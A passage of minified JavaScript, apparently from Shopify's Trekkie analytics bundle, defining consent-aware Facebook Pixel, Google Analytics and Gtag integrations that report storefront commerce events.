checkoutOnePageView: /^[ _]?checkout[ _]?[ _]?one[ _]?page[ _]?view[ _]?$/i 707 }, t.ANALYTICS_GENERIC_EVENT = "genericEvent", t.ANALYTICS_PAGE_VIEW = "pageView", t.ANALYTICS_VIEWED_PRODUCT = "viewedProduct", t.ANALYTICS_VIEWED_PRODUCT_CATEGORY = "viewedProductCategory", t.ANALYTICS_ADDED_PRODUCT = "addedProduct", t.ANALYTICS_COMPLETED_ORDER = "completedOrder", t.ANALYTICS_STARTED_ORDER = "startedOrder", t.ANALYTICS_STARTED_ORDER_ONCE_PER_CHECKOUT = "startedOrderOncePerCheckout", t.ANALYTICS_PERFORMED_SEARCH = "performedSearch", t.ANALYTICS_ADDED_PAYMENT = "addedPayment", t.CHECKOUT_CONTACT_STEP_STARTED = "checkoutContactStepStarted", t.CHECKOUT_CONTACT_INFO_SUBMITTED = "checkoutContactInfoSubmitted", t.CHECKOUT_ADDRESS_INFO_SUBMITTED = "checkoutAddressInfoSubmitted", t.CHECKOUT_SHIPPING_STEP_STARTED = "checkoutShippingStepStarted", t.CHECKOUT_SHIPPING_INFO_SUBMITTED = "checkoutShippingInfoSubmitted", t.CHECKOUT_PAYMENT_STEP_STARTED = "checkoutPaymentStepStarted", t.CHECKOUT_ONE_PAGE_VIEW = "checkoutOnePageView", t.PSEUDO_PAGE_EVENTS = [t.CHECKOUT_CONTACT_STEP_STARTED, t.CHECKOUT_SHIPPING_STEP_STARTED, t.CHECKOUT_PAYMENT_STEP_STARTED, t.CHECKOUT_ONE_PAGE_VIEW]; 708 var d = function(e) { 709 function n(t, n, o) { 710 var r = e.call(this, t, n, o) || this; 711 return r.wrapTrack(), r.setPixelStub(), r 712 } 713 return r(n, e), n.prototype.wrapTrack = function() { 714 var e = this.track; 715 this.track = function(n) { 716 var o = n.event, 717 r = !1; 718 for (var i in t.analyticsEvents) { 719 var a = t.analyticsEvents[i]; 720 if (this[i] && a.test(o)) { 721 this[i].apply(this, [n]), r = !0; 722 break 723 } 724 } 725 r || e.apply(this, Array.prototype.slice.call(arguments)) 726 } 727 }, n.prototype.addMonorailBatchEvent = function(e) { 728 if (s.default.appName && s.default.appName in u.appNameToEcommerceEventSchemaId) { 729 var t = this.getEcommercePixelIds(); 730 i.addBatchEvent({ 731 schemaId: e.schemaId ? e.schemaId : u.appNameToEcommerceEventSchemaId[s.default.appName], 732 payload: a.objectAssignFilterUndefined({ 733 shop_id: s.default.shopId, 734 partner_name: this.getEcommerceMetricsTag(), 735 event_name: e.eventName, 736 unique_token: s.default.uniqToken, 737 visit_token: s.default.visitToken, 738 integration_id: this.getIntegrationId() 739 }, { 740 pixel_id: t && t.length > 0 ? t[0] : void 0, 741 event_properties: e.eventProperties, 742 checkout_token: s.default.checkoutToken, 743 event_id: e.eventId 744 }) 745 }) 746 } 747 }, n 748 }(c.Integration); 749 t.EcommerceIntegration = d 750 }, 751 372: function(e, t) { 752 "use strict"; 753 var n = this && this.__assign || function() { 754 return n = Object.assign || function(e) { 755 for (var t, n = 1, o = arguments.length; n < o; n++) 756 for (var r in t = arguments[n]) Object.prototype.hasOwnProperty.call(t, r) && (e[r] = t[r]); 757 return e 758 }, n.apply(this, arguments) 759 }; 760 Object.defineProperty(t, "__esModule", { 761 value: !0 762 }), t.Integration = void 0; 763 var o = function() { 764 function e(e, t, o) { 765 this.state = null, this.deferedEvents = new Set, this.options = {}, this.options = n(n({}, e), t), this.ready = o 766 } 767 return e.prototype.initializeOrAwaitConsent = function() { 768 null === this.state && (this.hasConsent() ? this.initialize(this.options) : this.awaitConsent()) 769 }, e.prototype.awaitConsent = function() { 770 this.state = "awaiting-consent", this.ready() 771 }, e.prototype.initialize = function(e) { 772 this.state = "initialized", this.ready() 773 }, e.prototype.onConsentCollected = function(e) { 774 var t = this; 775 this.hasConsent(e) && ("awaiting-consent" === this.state && this.initialize(), "initialized" === this.state && this.deferedEvents.size >
775 0 && this.deferedEvents.forEach((function(e, n, o) { 776 var r = e[0], 777 i = e[1]; 778 o.delete(n), t.callEvent(r, i) 779 }))) 780 }, e.prototype.emitEventOrAwaitConsent = function(e, t) { 781 this.hasConsent() ? this.callEvent(e, t) : this.deferedEvents.add([e, t]) 782 }, e.prototype.callEvent = function(e, t) { 783 switch (e) { 784 case "page": 785 this.page(t); 786 break; 787 case "track": 788 this.track(t) 789 } 790 }, e.prototype.checkoutOnePageView = function(e) { 791 if (e.properties.hasOwnProperty("page")) { 792 var t = e.properties; 793 this.page(t.page) 794 } 795 }, e.flatten = function(e) { 796 var t = n({}, e); 797 return t.properties = {}, n(n({}, t), e.properties) 798 }, e.isEqual = function(e, t) { 799 for (var n in e) 800 if (e[n] !== t[n]) return !1; 801 for (var n in t) 802 if (t[n] !== e[n]) return !1; 803 return !0 804 }, e 805 }(); 806 t.Integration = o 807 }, 808 1930: function(e, t) { 809 "use strict"; 810 Object.defineProperty(t, "__esModule", { 811 value: !0 812 }), t.extractSchemaIdFromEventName = t.buyWithPrimePresenceSchemaId = t.trekkieAssetContextSchemaId = t.customStorefrontAnalyticsSchemaId = t.storefrontAnalyticsSchemaIdValidation = t.storefrontAnalyticsSchemaId = t.appNameToEcommerceEventSchemaId = t.appNameToPageViewSchemaId = void 0, t.appNameToPageViewSchemaId = { 813 admin: "trekkie_admin_page_view/1.0", 814 appstore: "trekkie_appstore_page_view/1.2", 815 blog: "trekkie_blog_page_view/1.2", 816 brochure: "trekkie_brochure_page_view/1.3", 817 checkout: "trekkie_checkout_page_view/1.2", 818 "collabs-merchants": "trekkie_collabs_merchants_page_view/1.0", 819 "compass-web": "trekkie_compass_web_page_view/1.2", 820 creators: "trekkie_creators_page_view/2.0", 821 delivery_app: "trekkie_delivery_app_page_view/1.0", 822 docs: "trekkie_docs_page_view/1.2", 823 development: "edge_test/1.0", 824 exchange: "trekkie_exchange_page_view/1.2", 825 experts: "trekkie_experts_page_view/1.0", 826 handshake: "trekkie_handshake_page_view/1.0", 827 fakestore: "trekkie_fakestore_page_view/1.0", 828 identity: "trekkie_identity_page_view/1.2", 829 linkpop: "trekkie_linkpop_page_view/2.0", 830 "marketing-misc": "trekkie_marketing_misc_page_view/1.2", 831 "oberlo-home": "trekkie_oberlo_home_page_view/1.3", 832 opinions: "trekkie_opinions_page_view/1.2", 833 partners: "trekkie_partners_page_view/1.2", 834 "shopify-ping-web": "trekkie_shopify_ping_web_page_view/1.0", 835 portal: "trekkie_portal_page_view/1.0", 836 storefront: "trekkie_storefront_page_view/1.2", 837 testing: "edge_test/1.0", 838 themestore: "trekkie_themestore_page_view/1.2", 839 "services-db": "trekkie_services_db_page_view/1.0" 840 }, t.appNameToEcommerceEventSchemaId = { 841 storefront: "trekkie_storefront_ecommerce_event_emit/4.0", 842 checkout: "trekkie_checkout_ecommerce_event_emit/4.0", 843 test: "edge_test_ecommerce_event_emit/1.0" 844 }, t.storefrontAnalyticsSchemaId = "storefront_customer_tracking/4.12", t.storefrontAnalyticsSchemaIdValidation = "storefront_customer_tracking_validation/1.0", t.customStorefrontAnalyticsSchemaId = "custom_storefront_customer_tracking/1.1", t.trekkieAssetContextSchemaId = "trekkie_asset_context/1.1", t.buyWithPrimePresenceSchemaId = "storefront_buy_with_prime_presence/1.0", t.extractSchemaIdFromEventName = function(e) { 845 var t = e.toLowerCase(); 846 if (0 === t.lastIndexOf("monorail://") && t.length > 11) return t.substr(11) 847 } 848 }, 849 542: function(e, t, n) { 850 "use strict"; 851 Object.defineProperty(t, "__esModule", { 852 value: !0 853 }), t.ConsentValuesV2 = t.IntegrationTypes = t.ConsentPurposes = void 0; 854 var o = n(1863); 855 Object.defineProperty(t, "ConsentPurposes", { 856 enumerable: !0, 857 get: function() { 858 return o.ConsentKeys 859 } 860 }); 861 var r, i = n(6222); 862 Object.defineProperty(t, "IntegrationTypes", { 863 enumerable: !0, 864 get: function() { 865 return i.IntegrationTypes 866 } 867 }), (r = t.ConsentValuesV2 || (t.ConsentValuesV2 = {})).NO_VALUE = "", r.ACCEPTED = "1", r.DECLINED = "0" 868 }, 869 6222: function(e, t) { 870 "use strict"; 871 var n; 872 Object.defineProperty(t, "__esModule", { 873 value: !0 874 }), t.IntegrationTypes = void 0, (n = t.IntegrationTypes || (t.IntegrationTypes = {})).ECOMMERCE = "EcommerceIntegration", n.INTEGRATION = "Integration" 875 }, 876 8878: function(e, t, n) { 877 "use strict"; 878 var o, r = this && this.__extends || (o = function(e, t) { 879 return o = Object.setPrototypeOf || { 880 __proto__: [] 881 } 882 instanceof Array && function(e, t) { 883 e.__proto__ = t 884 } || function(e, t) { 885 for (var n in t) Object.prototype.hasOwnProperty.call(t, n) && (e[n] = t[n]) 886 }, o(e, t) 887 }, function(e, t) { 888 function n() { 889 this.constructor = e 890 } 891 o(e, t), e.prototype = null === t ? Object.create(t) : (n.prototype = t.prototype, new n) 892 }), 893 i = this && this.__assign || function() { 894 return i = Object.assign || function(e) { 895 for (var t, n = 1, o = arguments.length; n < o; n++) 896 for (var r in t = arguments[n]) Object.prototype.hasOwnProperty.call(t, r) && (e[r] = t[r]); 897 return e 898 }, i.apply(this, arguments) 899 }; 900 Object.defineProperty(t, "__esModule", { 901 value: !0 902 }), t.FacebookPixel = void 0; 903 var a = n(7385), 904 s = n(1503), 905 c = n(7662), 906 u = n(1102), 907 d = n(542), 908 p = n(7662), 909 l = n(2724), 910 f = function(e) { 911 function t(n, o, r) { 912 var a = e.call(this, t.defaultOptions, i(i({}, o), { 913 agent: "shopify" 914 }), r) || this; 915 return a.campaignManager = new l.CampaignManager, a 916 } 917 return r(t, e), t.prototype.initialize = function() { 918 this.setPixelStub(), this.loadFacebookScript(); 919 for (var t = this.options, n = 0, o = this.getFacebookPixelIds(t); n < o.length; n++) { 920 var r = o[n]; 921 c.saleOfDataNotAllowed() && this.setLimitedDataUseMode(), window.fbq("init", r), "" !== t.agent && window.fbq("set", "agent", t.agent, r) 922 } 923 e.prototype.initialize.call(this) 924 }, t.prototype.name = function() { 925 return "Facebook Pixel" 926 }, t.prototype.type = function() { 927 return d.IntegrationTypes.ECOMMERCE 928 }, t.prototype.hasConsent = function(e) { 929 return p.marketingAllowed(e) 930 }, t.prototype.identify = function(e) { 931 throw new Error("identify is not supported") 932 }, t.prototype.page = function(e) { 933 this.emitEvent("PageView", e.eventId, a.ANALYTICS_PAGE_VIEW) 934 }, t.prototype.track = function(e) { 935 var t = {}; 936 for (var n in e.properties) "revenue" === n ? t.value = this.formatRevenue(e.properties.revenue) : t[n] = e.properties[n] 937 }, t.prototype.viewedProductCategory = function(e) {}, t.prototype.viewedProductVariant = function(e) {}, t.prototype.viewedProduct = function(e) { 938 var t = e.properties, 939 n = { 940 content_ids: this.getProductContentIds(t), 941 content_type: this.getProductContentType(t), 942 content_name: t.name || "", 943 content_category: t.category || "", 944 currency: this.getCurrency(t.currency), 945 value: this.formatRevenue(t.price) 946 }; 947 this.emitEvent("ViewContent", e.eventId, a.ANALYTICS_VIEWED_PRODUCT, n) 948 }, t.prototype.addedProduct = function(e) { 949 var t = e.properties, 950 n = { 951 content_ids: this.getProductContentIds(t), 952 content_type: this.getProductContentType(t), 953 content_name: t.name || "", 954 content_category: t.category || "", 955 currency: this.getCurrency(t.currency), 956 value: this.formatRevenue(t.price), 957 num_items: this.getProductNumItems(t) 958 }; 959 this.emitEvent("AddToCart", e.eventId, a.ANALYTICS_ADDED_PRODUCT, n) 960 }, t.prototype.addedPayment = function(e) { 961 var t = e.properties, 962 n = { 963 currency: this.getCurrency(t.currency), 964 value: this.formatRevenue(t.total) 965 }; 966 this.emitEvent("AddPaymentInfo", e.eventId, a.ANALYTICS_ADDED_PAYMENT, n) 967 }, t.prototype.performedSearch = function(e) { 968 var t = { 969 search_string: e.properties.query || "" 970 }; 971 this.emitEvent("Search", e.eventId, a.ANALYTICS_PERFORMED_SEARCH, t) 972 }, t.prototype.startedOrder = function(e) { 973 var t = e.properties, 974 n = { 975 content_ids: this.getOrderContentIds(t), 976 content_type: this.getOrderContentType(t), 977 currency: this.getCurrency(t.currency), 978 value: this.formatRevenue(t.revenue), 979 num_items: this.getOrderNumItems(t) 980 }; 981 this.emitEvent("InitiateCheckout", e.eventId, a.ANALYTICS_STARTED_ORDER, n) 982 }, t.prototype.completedOrder = function(e) { 983 var t = e.properties, 984 n = { 985 content_ids: this.getOrderContentIds(t), 986 content_type: this.getOrderContentType(t), 987 currency: this.getCurrency(t.currency), 988 value: this.formatRevenue(t.revenue), 989 num_items: this.getOrderNumItems(t) 990 }; 991 this.emitEvent("Purchase", e.eventId, a.ANALYTICS_COMPLETED_ORDER, n) 992 }, t.prototype.emitEvent = function(e, t, n, o) { 993 void 0 === o && (o = {}), window.fbq("track", e, o, { 994 eventID: t 995 }), this.addMonorailBatchEvent(u.objectAssignFilterUndefined({ 996 eventName: n 997 }, { 998 eventId: t, 999 eventProperties: JSON.stringify(o) 1000 })) 1001 }, t.prototype.setLimitedDataUseMode = function() { 1002 window.fbq("dataProcessingOptions", ["LDU"], 1, 1e3) 1003 }, t.prototype.setPixelStub = function() { 1004 window.fbq && "function" == typeof window.fbq || (window.fbq = function() { 1005 window.fbq.callMethod ? window.fbq.callMethod.apply(window.fbq, arguments) : window.fbq.queue.push(arguments) 1006 }, window._fbq || (window._fbq = window.fbq), window.fbq.push = window.fbq, window.fbq.loaded = !0, window.fbq.version = "2.0", window.fbq.queue = []) 1007 }, t.prototype.generateScriptTag = function() { 1008 var e = s.virtualDocument().createElement("script"); 1009 return e.async = !0, e.src = "https://connect.facebook.net/en_US/fbevents.js", e 1010 }, t.prototype.getFacebookPixelIds = function(e) { 1011 for (var t = [], n = 0, o = e.pixelIds.concat([e.pixelId]); n < o.length; n++) { 1012 var r = o[n]; 1013 null !== r && "" !== r && t.push(r) 1014 } 1015 return t 1016 }, t.prototype.loadFacebookScript = function() { 1017 var e = s.virtualDocument().getElementsByTagName("script")[0]; 1018 void 0 === e ? document.head.appendChild(this.generateScriptTag()) : e.parentNode.insertBefore(this.generateScriptTag(), e) 1019 }, t.prototype.formatRevenue = function(e) { 1020 return Number(e || 0).toFixed(2) 1021 }, t.prototype.getCurrency = function(e) { 1022 return e || "USD" 1023 }, t.prototype.getProductContentIds = function(e) { 1024 var t = e.productId || e.variantId || e.sku; 1025 return t ? [t] : [] 1026 }, t.prototype.getProductContentType = function(e) { 1027 return e.productId ? "product_group" : "product" 1028 }, t.prototype.getProductNumItems = function(e) { 1029 return e.quantity || this.getProductContentIds(e).length 1030 }, t.prototype.getProductKey = function(e) { 1031 return e.productId || e.variantId || e.sku 1032 }, t.prototype.getOrderContentIds = function(e) { 1033 for (var t = [], n = 0, o = e.products || []; n < o.length; n++) { 1034 var r = o[n], 1035
1035 i = this.getProductKey(r); 1036 i && -1 === t.indexOf(i) && t.push(i) 1037 } 1038 return t 1039 }, t.prototype.getOrderContentType = function(e) { 1040 for (var t = 0, n = e.products || []; t < n.length; t++) 1041 if (n[t].productId) return "product_group"; 1042 return "product" 1043 }, t.prototype.getOrderNumItems = function(e) { 1044 for (var t = 0, n = 0, o = e.products || []; n < o.length; n++) { 1045 var r = o[n]; 1046 this.getProductKey(r) && (t += r.quantity || 1) 1047 } 1048 return t 1049 }, t.prototype.getEcommerceMetricsTag = function() { 1050 return "facebook" 1051 }, t.prototype.getIntegrationId = function() { 1052 return "FacebookPixel" 1053 }, t.prototype.getEcommercePixelIds = function() { 1054 var e = this.options; 1055 return this.getFacebookPixelIds(e) 1056 }, t.defaultOptions = { 1057 pixelId: "", 1058 pixelIds: [], 1059 agent: "shopify" 1060 }, t 1061 }(a.EcommerceIntegration); 1062 t.FacebookPixel = f 1063 }, 1064 7575: function(e, t, n) { 1065 "use strict"; 1066 var o, r = this && this.__extends || (o = function(e, t) { 1067 return o = Object.setPrototypeOf || { 1068 __proto__: [] 1069 } 1070 instanceof Array && function(e, t) { 1071 e.__proto__ = t 1072 } || function(e, t) { 1073 for (var n in t) Object.prototype.hasOwnProperty.call(t, n) && (e[n] = t[n]) 1074 }, o(e, t) 1075 }, function(e, t) { 1076 function n() { 1077 this.constructor = e 1078 } 1079 o(e, t), e.prototype = null === t ? Object.create(t) : (n.prototype = t.prototype, new n) 1080 }), 1081 i = this && this.__assign || function() { 1082 return i = Object.assign || function(e) { 1083 for (var t, n = 1, o = arguments.length; n < o; n++) 1084 for (var r in t = arguments[n]) Object.prototype.hasOwnProperty.call(t, r) && (e[r] = t[r]); 1085 return e 1086 }, i.apply(this, arguments) 1087 }; 1088 Object.defineProperty(t, "__esModule", { 1089 value: !0 1090 }), t.GoogleAnalytics = void 0; 1091 var a = n(7385), 1092 s = n(725), 1093 c = n(1503), 1094 u = n(542), 1095 d = n(9115), 1096 p = n(7662), 1097 l = function(e) { 1098 function t(n, o, r) { 1099 var i = e.call(this, t.defaultOptions, o, r) || this; 1100 return i.pageCalled = !1, i.ecommerce = !1, i.enhancedEcommerceLoaded = !1, i 1101 } 1102 return r(t, e), t.prototype.initialize = function() { 1103 this.pageCalled = !1, this.setPixelStub(), this.loadGAScript(); 1104 var n = this.options; 1105 "localhost" === s.hostname() && (n.domain = "none"), n.enhancedEcommerce && this.enhancedEcommerce(), d.default.isEnabled(d.TREKKIE_GOOGLE_CONSENT_MODE) && window.gtag("consent", "default", { 1106 ad_storage: p.marketingAllowed() ? "granted" : "denied", 1107 ad_user_data: p.marketingAllowed() ? "granted" : "denied", 1108 ad_personalization: p.marketingAllowed() ? "granted" : "denied", 1109 analytics_storage: p.analyticsProcessingAllowed() ? "granted" : "denied" 1110 }), window.ga("create", n.trackingId, { 1111 cookieDomain: n.domain || t.defaultOptions.domain, 1112 siteSpeedSampleRate: n.siteSpeedSampleRate, 1113 sampleRate: n.sampleRate, 1114 allowLinker: !0 1115 }), n.doubleClick && window.ga("require", "displayfeatures"), n.enhancedLinkAttribution && window.ga("require", "linkid"), n.anonymizeIp && window.ga("set", "anonymizeIp", !0), e.prototype.initialize.call(this) 1116 }, t.prototype.name = function() { 1117 return "Google Analytics" 1118 }, t.prototype.type = function() { 1119 return u.IntegrationTypes.ECOMMERCE 1120 }, t.prototype.onConsentCollected = function(t) { 1121 d.default.isEnabled(d.TREKKIE_GOOGLE_CONSENT_MODE) && (window.gtag("consent", "update", { 1122 ad_storage: p.marketingAllowed() ? "granted" : "denied", 1123 ad_user_data: p.marketingAllowed() ? "granted" : "denied", 1124 ad_personalization: p.marketingAllowed() ? "granted" : "denied", 1125 analytics_storage: p.analyticsProcessingAllowed() ? "granted" : "denied" 1126 }), p.analyticsProcessingAllowed() ? delete window["ga-disable-" + this.options.trackingId] : window["ga-disable-" + this.options.trackingId] = !0), e.prototype.onConsentCollected.call(this, t) 1127 }, t.prototype.hasConsent = function(e) { 1128 return p.analyticsProcessingAllowed(e) 1129 }, t.prototype.identify = function(e) { 1130 throw new Error("identify is not supported") 1131 }, t.prototype.pseudoPageFromTrack = function(e) { 1132 if (e.properties.hasOwnProperty("page")) { 1133 var t = e.properties.page; 1134 this.pageCalled && (t.search = ""), this.page(t) 1135 } 1136 }, t.prototype.checkoutContactStepStarted = function(e) { 1137 this.pseudoPageFromTrack(e) 1138 }, t.prototype.checkoutShippingStepStarted = function(e) { 1139 this.pseudoPageFromTrack(e) 1140 }, t.prototype.checkoutPaymentStepStarted = function(e) { 1141 this.pseudoPageFromTrack(e) 1142 }, t.prototype.checkoutOnePageView = function(e) {}, t.prototype.page = function(e) { 1143 this.overrideDefaultPageProperties(e); 1144 var t = this.options, 1145 n = this.path(e),
1146 o = e.name || e.title, 1147 r = { 1148 page: n, 1149 title: o 1150 }; 1151 window.ga("set", r); 1152 var i = { 1153 page: n, 1154 title: o, 1155 location: e.url 1156 }; 1157 if (this.pageCalled && delete i.location, window.ga("send", "pageview", i), this.addMonorailBatchEvent({ 1158 eventName: a.ANALYTICS_PAGE_VIEW, 1159 eventProperties: JSON.stringify(i) 1160 }), e.name && t.trackNamedPages) { 1161 var s = this.convertPageToTrack(e); 1162 s.properties.nonInteraction = !0, this.trackInternal(s) 1163 } 1164 this.pageCalled = !0 1165 }, t.prototype.track = function(e) {}, t.prototype.trackInternal = function(e) { 1166 var t = this.options, 1167 n = e.properties, 1168 o = { 1169 eventAction: e.event, 1170 eventCategory: n.category || "All", 1171 eventLabel: n.label, 1172 eventValue: this.formatValue(n.value || n.revenue), 1173 nonInteraction: Boolean(n.hasOwnProperty("nonInteraction") ? n.nonInteraction : t.nonInteraction) 1174 }; 1175 window.ga("send", "event", o), this.addMonorailBatchEvent({ 1176 eventName: a.ANALYTICS_GENERIC_EVENT, 1177 eventProperties: JSON.stringify(o) 1178 }) 1179 }, t.prototype.completedOrder = function(e) { 1180 var t = e.properties, 1181 n = t.total || t.revenue || 0, 1182 o = this.getTransactionId(t), 1183 r = t.products || []; 1184 if (o) { 1185 this.ecommerce || (window.ga("require", "ecommerce"), this.ecommerce = !0); 1186 var i = { 1187 shipping: t.shipping, 1188 revenue: n, 1189 tax: t.tax, 1190 id: o, 1191 currency: this.getCurrency(t.currency) 1192 }; 1193 window.ga("ecommerce:addTransaction", i); 1194 for (var s = [], c = 0, u = r; c < u.length; c++) { 1195 var d = u[c], 1196 p = this.createProductTrack(t, d), 1197 l = { 1198 category: p.category, 1199 quantity: this.getProductQuantity(p), 1200 price: p.price, 1201 name: p.name, 1202 sku: p.sku || p.variantId, 1203 id: o, 1204 currency: this.getCurrency(p.currency) 1205 }; 1206 window.ga("ecommerce:addItem", l), s.push(l) 1207 } 1208 window.ga("ecommerce:send"), this.addMonorailBatchEvent({ 1209 eventName: a.ANALYTICS_COMPLETED_ORDER, 1210 eventProperties: JSON.stringify({ 1211 orderInfo: i, 1212 items: s 1213 }) 1214 }) 1215 } 1216 }, t.prototype.viewedProductVariant = function(e) {}
1216, t.prototype.viewedProductEnhanced = function(e) { 1217 var t = e.properties; 1218 this.loadEnhancedEcommerce(e); 1219 var n = this.enhancedEcommerceTrackProduct(t); 1220 window.ga("ec:setAction", "detail"); 1221 var o = this.pushEnhancedEcommerce(e); 1222 this.addMonorailBatchEvent({ 1223 eventName: a.ANALYTICS_VIEWED_PRODUCT, 1224 eventProperties: JSON.stringify({ 1225 item: n, 1226 event: o 1227 }) 1228 }) 1229 }, t.prototype.addedProductEnhanced = function(e) { 1230 var t = e.properties; 1231 this.loadEnhancedEcommerce(e); 1232 var n = this.enhancedEcommerceTrackProduct(t); 1233 window.ga("ec:setAction", "add"); 1234 var o = this.pushEnhancedEcommerce(e); 1235 this.addMonorailBatchEvent({ 1236 eventName: a.ANALYTICS_ADDED_PRODUCT, 1237 eventProperties: JSON.stringify({ 1238 item: n, 1239 event: o 1240 }) 1241 }) 1242 }, t.prototype.startedOrderEnhanced = function(e) { 1243 var t = e.properties, 1244 n = t.products || []; 1245 this.loadEnhancedEcommerce(e); 1246 for (var o = [], r = 0, i = n; r < i.length; r++) { 1247 var s = i[r], 1248 c = this.createProductTrack(t, s), 1249 u = this.enhancedEcommerceTrackProduct(c); 1250 o.push(u) 1251 } 1252 var d = t.step || 1; 1253 window.ga("ec:setAction", "checkout", { 1254 step: d 1255 }); 1256 var p = this.pushEnhancedEcommerce(e); 1257 this.addMonorailBatchEvent({ 1258 eventName: a.ANALYTICS_STARTED_ORDER, 1259 eventProperties: JSON.stringify({ 1260 items: o, 1261 checkoutStep: d, 1262 event: p 1263 }) 1264 }) 1265 }, t.prototype.completedOrderEnhanced = function(e) { 1266 var t = e.properties, 1267 n = t.total || t.revenue || 0, 1268 o = this.getTransactionId(t), 1269 r = t.products || []; 1270 if (o) { 1271 this.loadEnhancedEcommerce(e); 1272 for (var i = [], s = 0, c = r; s < c.length; s++) { 1273 var u = c[s], 1274 d = this.createProductTrack(t, u), 1275 p = this.enhancedEcommerceTrackProduct(d); 1276 i.push(p) 1277 } 1278 var l = { 1279 id: o, 1280 revenue: n, 1281 tax: t.tax, 1282 shipping: t.shipping, 1283 coupon: t.coupon 1284 }; 1285 window.ga("ec:setAction", "purchase", l); 1286 var f = this.pushEnhancedEcommerce(e); 1287 this.addMonorailBatchEvent({ 1288 eventName: a.ANALYTICS_COMPLETED_ORDER, 1289 eventProperties: JSON.stringify({ 1290 orderInfo: l, 1291 items: i, 1292 event: f 1293 }) 1294 }) 1295 } 1296 }, t.prototype.setPixelStub = function() { 1297 (!window.ga || window.ga && "function" != typeof window.ga) && (window.ga = function() { 1298 (window.ga.q = window.ga.q || []).push(arguments) 1299 }), d.default.isEnabled(d.TREKKIE_GOOGLE_CONSENT_MODE) && (!window.gtag || window.gtag && "function" != typeof window.gtag) && (window.dataLayer = window.dataLayer || [], window.gtag = function() { 1300 window.dataLayer.push(arguments) 1301 }) 1302 }, t.prototype.loadGAScript = function() { 1303 window.GoogleAnalyticsObject = "ga", window.ga.l = (new Date).getTime(); 1304 var e = c.virtualDocument().createElement("script"); 1305 e.async = !0, e.src = "https://www.google-analytics.com/analytics.js"; 1306 var t = c.virtualDocument().getElementsByTagName("script")[0]; 1307 void 0 === t ? document.head.appendChild(e) : t.parentNode.insertBefore(e, t) 1308 }, t.prototype.enhancedEcommerce = function() { 1309 this.viewedProduct = this.viewedProductEnhanced, this.addedProduct = this.addedProductEnhanced, this.startedOrder = this.startedOrderEnh
1309anced, this.completedOrder = this.completedOrderEnhanced 1310 }, t.prototype.path = function(e) { 1311 var t = e.path; 1312 return this.options.includeSearch && e.search && (t += e.search), t 1313 }, t.prototype.formatValue = function(e) { 1314 return !e || e < 0 ? 0 : Math.round(e) 1315 }, t.prototype.getProductQuantity = function(e) { 1316 return e.quantity || 1 1317 }, t.prototype.getCurrency = function(e) { 1318 return e || "USD" 1319 }, t.prototype.createProductTrack = function(e, t) { 1320 var n = i({}, t); 1321 return n.currency = t.currency || this.getCurrency(e.currency), n 1322 }, t.prototype.loadEnhancedEcommerce = function(e) { 1323 this.enhancedEcommerceLoaded || (window.ga("require", "ec"), this.enhancedEcommerceLoaded = !0); 1324 var t = e.properties; 1325 window.ga("set", "&cu", this.getCurrency(t.currency)) 1326 }, t.prototype.enhancedEcommerceTrackProduct = function(e) { 1327 var t = { 1328 id: e.sku || e.variantId, 1329 name: e.name, 1330 category: e.category, 1331 quantity: this.getProductQuantity(e), 1332 price: e.price, 1333 brand: e.brand, 1334 variant: e.variant, 1335 currency: this.getCurrency(e.currency) 1336 }; 1337 return e.coupon && (t.coupon = e.coupon), window.ga("ec:addProduct", t), t 1338 }, t.prototype.pushEnhancedEcommerce = function(e) { 1339 var t = e.properties, 1340 n = { 1341 eventCategory: t.category || "EnhancedEcommerce", 1342 eventAction: e.event || "Action not defined", 1343 eventLabel: t.label, 1344 nonInteraction: !0 1345 }; 1346 return window.ga("send", "event", n), n 1347 }, t.prototype.convertPageToTrack = function(e) { 1348 return { 1349 event: e.name ? "Viewed " + e.name + " Page" : "Loaded a Page", 1350 properties: e.properties, 1351 eventId: e.eventId 1352 } 1353 }, t.prototype.overrideDefaultPageProperties = function(e) { 1354 for (var t in e.properties) "properties" !== t && "name" !== t && t in e && (e[t] = e.properties[t]) 1355 }, t.prototype.getEcommerceMetricsTag = function() { 1356 return "google_analytics" 1357 }, t.prototype.getIntegrationId = function() { 1358 return "GoogleAnalytics" 1359 }, t.prototype.getEcommercePixelIds = function() { 1360 return [this.options.trackingId] 1361 }, t.prototype.getTransactionId = function(e) { 1362 return e.orderId || e.checkoutId 1363 }, t.defaultOptions = { 1364 anonymizeIp: !1, 1365 domain: "auto", 1366 doubleClick: !1, 1367 enhancedEcommerce: !1, 1368 enhancedLinkAttribution: !1, 1369 includeSearch: !1, 1370 nonInteraction: !1, 1371 siteSpeedSampleRate: 1, 1372 sampleRate: 100, 1373 trackNamedPages: !0, 1374 trackingId: "" 1375 }, t 1376 }(a.EcommerceIntegration); 1377 t.GoogleAnalytics = l 1378 }, 1379 5087: function(e, t, n) { 1380 "use strict"; 1381 var o, r = this && this.__extends || (o = function(e, t) { 1382 return o = Object.setPrototypeOf || { 1383 __proto__: [] 1384 } 1385 instanceof Array && function(e, t) { 1386 e.__proto__ = t 1387 } || function(e, t) { 1388 for (var n in t) Object.prototype.hasOwnProperty.call(t, n) && (e[n] = t[n]) 1389 }, o(e, t) 1390 }, function(e, t) { 1391 function n() { 1392 this.constructor = e 1393 } 1394 o(e, t), e.prototype = null === t ? Object.create(t) : (n.prototype = t.prototype, new n) 1395 }); 1396 Object.defineProperty(t, "__esModule", { 1397 value: !0 1398 }), t.GoogleGtag = void 0; 1399 var i = n(7385), 1400 a = n(5522), 1401 s = n(7662), 1402 c = n(542), 1403 u = n(9115), 1404 d = n(7662), 1405 p = function(e) { 1406 function t(t, n, o) { 1407 return e.call(this, t, n, o) || this 1408 } 1409 return r(t, e), t.prototype.initialize = function() { 1410 var t = this.options, 1411 n = { 1412 send_page_view: !1 1413 }; 1414 this.setPixelStub(), this.loadGtagScript(), s.saleOfDataNotAllowed() && (n.restricted_data_processing = !0), u.default.isEnabled(u.TREKKIE_GOOGLE_CONSENT_MODE) && window.gtag("consent", "default", { 1415 ad_storage: d.marketingAllowed() ? "granted" : "denied", 1416 ad_user_data: d.marketingAllowed() ? "granted" : "denied", 1417 ad_personalization: d.marketingAllowed() ? "granted" : "denied", 1418 analytics_storage: d.analyticsProcessingAllowed() ? "granted" : "denied" 1419 }), t.ignoreReferrer && (window.gtag("set", { 1420 ignore_referrer: "true" 1421 }), n.ignore_referrer = "true"), window.gtag("config", t.conversionId, n), e.prototype.initialize.call(this) 1422 }, t.prototype.name = function() { 1423 return "Google Gtag Pixel" 1424 }, t.prototype.type = function() { 1425 return c.IntegrationTypes.ECOMMERCE 1426 }, t.prototype.onConsentCollected = function(t) { 1427 